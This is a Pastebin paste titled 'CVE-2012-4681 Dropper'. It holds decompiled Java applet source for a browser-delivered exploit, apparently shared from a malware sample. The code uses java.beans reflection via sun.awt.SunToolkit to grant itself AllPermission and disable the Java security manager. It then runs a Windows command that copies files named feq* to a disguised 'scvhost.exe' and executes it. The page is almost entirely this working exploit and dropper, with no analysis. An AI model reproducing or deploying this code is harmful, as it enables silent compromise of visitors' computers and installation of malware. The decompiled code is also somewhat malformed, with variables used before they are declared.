unixfreaxjp

CVE-2012-4681 Dropper

Sep 12th, 2012
348
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. import java.applet.Applet; import java.awt.Graphics;
  2. import java.beans.Expression; import java.beans.Statement;
  3. import java.lang.reflect.Field; import java.net.URL;
  4. import java.security.AllPermission; import java.security.CodeSource;
  5. import java.security.Permissions; import java.security.ProtectionDomain;
  6. import java.security.PermissionCollection;
  7. import java.security.cert.Certificate;
  8. import java.security.AccessControlContext;
  9.  
  10. public class subway extends Applet
  11. { public subway()
  12. {
  13. try{
  14. localObject1 = this;
  15. Statement localStatement1 = new Statement(System.class, "setSecurityManager", new Object[] { null });
  16. (localObject2 = new Permissions()).add(new AllPermission());
  17. Object localObject2 = new ProtectionDomain(new CodeSource(new URL("file:///"),
  18. new Certificate[0]), (PermissionCollection)localObject2);
  19. localObject2 = new AccessControlContext(new ProtectionDomain[] { localObject2 });
  20. Object localObject4 = localObject2;
  21. Statement localStatement2 = localStatement1;
  22. Object localObject3 = "acc";
  23. localObject2 = Statement.class;
  24. localObject1 = localObject1;
  25. (localObject1 = new Object[2])[0] = localObject2;
  26. localObject1[1] = localObject3;
  27. localObject2 = "sun.awt.SunToolkit";
  28. (localObject3 = new Object[1])[0] = localObject2;
  29. (localObject2 = new Expression(Class.class, "forName", localObject3)).execute();
  30. (localObject1 = new Expression((Class)
  31. ((Expression)localObject2).getValue(), "getField", localObject1)).execute();
  32.  
  33. ((Field)((Expression)localObject1).getValue()).set(localStatement2, localObject4);
  34. localStatement1.execute();
  35. Runtime.getRuntime().exec("CMD /C FOR /R \"%USERPROFILE%\\\" %i IN (feq*)
  36. DO copy \"%i\" \"%USERPROFILE%\\scvhost.exe\"&cmd /c
  37. \"%USERPROFILE%\\scvhost.exe\"");
  38. return; }
  39. catch (Throwable localThrowable){
  40. Object localObject1;
  41. (localObject1 = localThrowable).printStackTrace();
  42. } }
  43. public void paint(Graphics paramGraphics)
  44. {
  45. paramGraphics.drawString("", 10, 10); }}
Advertisement
Add Comment
Please, Sign In to add comment